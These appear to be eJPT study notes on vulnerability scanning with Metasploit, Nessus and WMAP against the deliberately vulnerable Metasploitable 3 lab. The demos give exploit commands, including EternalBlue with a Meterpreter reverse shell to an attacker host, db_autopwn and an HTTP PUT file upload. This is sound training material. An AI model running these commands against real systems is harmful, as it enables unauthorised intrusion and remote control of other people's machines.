> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/the-metasploit-framework-msf/vulnerability-scanning.md).

# Vulnerability Scanning

### Vulnerability Scanning with MSF

#### Vulnerability Scanning 

* Vulnerability scanning & detection is the process of scanning a target for vulnerabilities and verifying whether they can be exploited.
* So far, we have been able to identify and exploit misconfiguration on target systems, however, in this section we will be exploring the process of utilizing auxiliary and exploit modules to scan and identify inherent vulnerabilities in service, operating systems and web applications.
* This information will come in handy during the exploitation phase of this course.
* We will also be exploring the process of utilizing third party vulnerability scanning tools like Nessus and how we can integrate Nessus functionality into the MSF.

#### Lab Environment

* For the purposes of demonstrating the vulnerability scanning process, we will be utilizing an intentionally vulnerable virtual machine called Metasploitable 3 that is based on Windows Server 2008.
* Metasploit 3 was developed by Rapid7 to demonstrate how MSF can be used to perform exploitation of a Windows System.
* Instrucations on how this VM can be setup can be found here: [click](https://github.com/rapid7/metasploitable3#:~:text=Metasploitable3-,Metasploitable3%20is%20a%20VM%20that%20is%20built%20from%20the%20ground,See%20COPYING%20for%20more%20details.)

#### DEMO 

```
nmap -sn <IP>/24
```

```
msfconsole -q
> db_status
> setg RHOSTS <targetIP>
> setg RHOST <targetIP>
> workspace -a MS3
> db_nmap -sS -sV -O <IP>
> search type:exploit name: Microsoft IIS
> search type:exploit name: MYSQL 5.5
> search type:exploit name: Sun Glass Fish
> use exploit/multi/http/glassfish_deployer
> info
> set payload windows/meterpreter/reverse_tcp
> services
> back
> services
> search eternalblue
> use auxiliary/scanner/smb/smb_ms17_010/
> show options
> run
> set payload windows/x64/meterpreter/reverse_tcp
> set lhost <AttackerIP>
> exploit

>>> sysinfo
```

```
searchsploit "Microsoft Windows SMB" | grep -e "Metasploit"
```

[**Metasploit-autopwn plugin**](https://github.com/hahwul/metasploit-autopwn)

* esasy exploit or vulnerability scan

```
wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb
```

```
mv db_autopwn.rb /usr/share/metasploit-framework/plugins/
```

```
msfconsole -q
> load db_autopwn
> db_autopwn
> db_autopwn -p -t
> db_autopwn -p -t -PI 445
> analyze (it tells the vulnerability) 
> vulns
```

***

### Vulnerability Scanning with Nessus

* We can us the free version of Nessus (Nessus Essentials), which allows us to scan upto 16 IPs.
* Nessus automates the process of identifying vulnerabilities and also provide us with information pertinent to a vulnerability like the CVE code.
* We can utilize Nessus to perform a vulnerability scan on a target system, after which, we can import the Nessus results in to MSF for analysis and exploitation.
* Nessus is a proprietary vulnerability scanner developed by Tenable.

#### Lab Environment

* For the purposes of demonstrating the vulnerability scanning process, we will be utilizing an intentionally vulnerable virtual machine called Metasploitable 3 that is based on Windows Server 2008.
* Metasploit 3 was developed by Rapid7 to demonstrate how MSF can be used to perform exploitation of a Windows System.
* Instrucations on how this VM can be setup can be found here: [click](https://github.com/rapid7/metasploitable3#:~:text=Metasploitable3-,Metasploitable3%20is%20a%20VM%20that%20is%20built%20from%20the%20ground,See%20COPYING%20for%20more%20details.)

**DEMO**

{% embed url="<https://www.tenable.com/products/nessus/nessus-essentials>" %}

* Enter details for activation code
* Download Nessus Essentials

```
systemctl start nessusd.service
```

{% embed url="<https://kali:8834/>" %}

* Do a Nessus Full network scan
* Export the report - Nessus

```
msfconsole -q
> workspace -a MS3_Nessus
> db_import /<PATH>.nessus
> hosts
> services
> vulns -p 445
> search cve: 2017 name: smb
> search cve: MS12-020
> search cve: 2015 name: manageengine
>>>> sysinf0
```

***

### Web App Vulnerability Scanning with WMAP

* WMAP is a powerful, feature-rich web application vulnerability scanner that can be used to automate web server enumeration and scan web application for vulnerabilities.
* WMAP is available as an MSF plugin and can be loaded directly into MSF.
* WMAP is fully integrated with MSF, which consequently allows us to perform web app vulnerability scanning from within the MSF.

```
service postgresql start
```

```
msfconsole -q
> workspace -a Web_Scanner
> setg RHOSTS <IP>
> load wmap
> wmap_ - [autocomplet for list]
> wmap_sites -h 
> wmap_sites -a <Target_IP>
> wmap_targets -h
> wmap_target -t http://<targetIP>/
> wmap_sites -l
> wmap_targets -l 
> wmap_run -h
> wmap_run -t 
> wmap_run -e 
> wmap_vulns [to check identified vulnerabilities]
> use auxiliary/scanner/http/options
> run 
> use auxiliary/scanner/http/http_put
> run 
> set PATH /data/
> run 
> curl http://<IP>/<file>.txt

```

***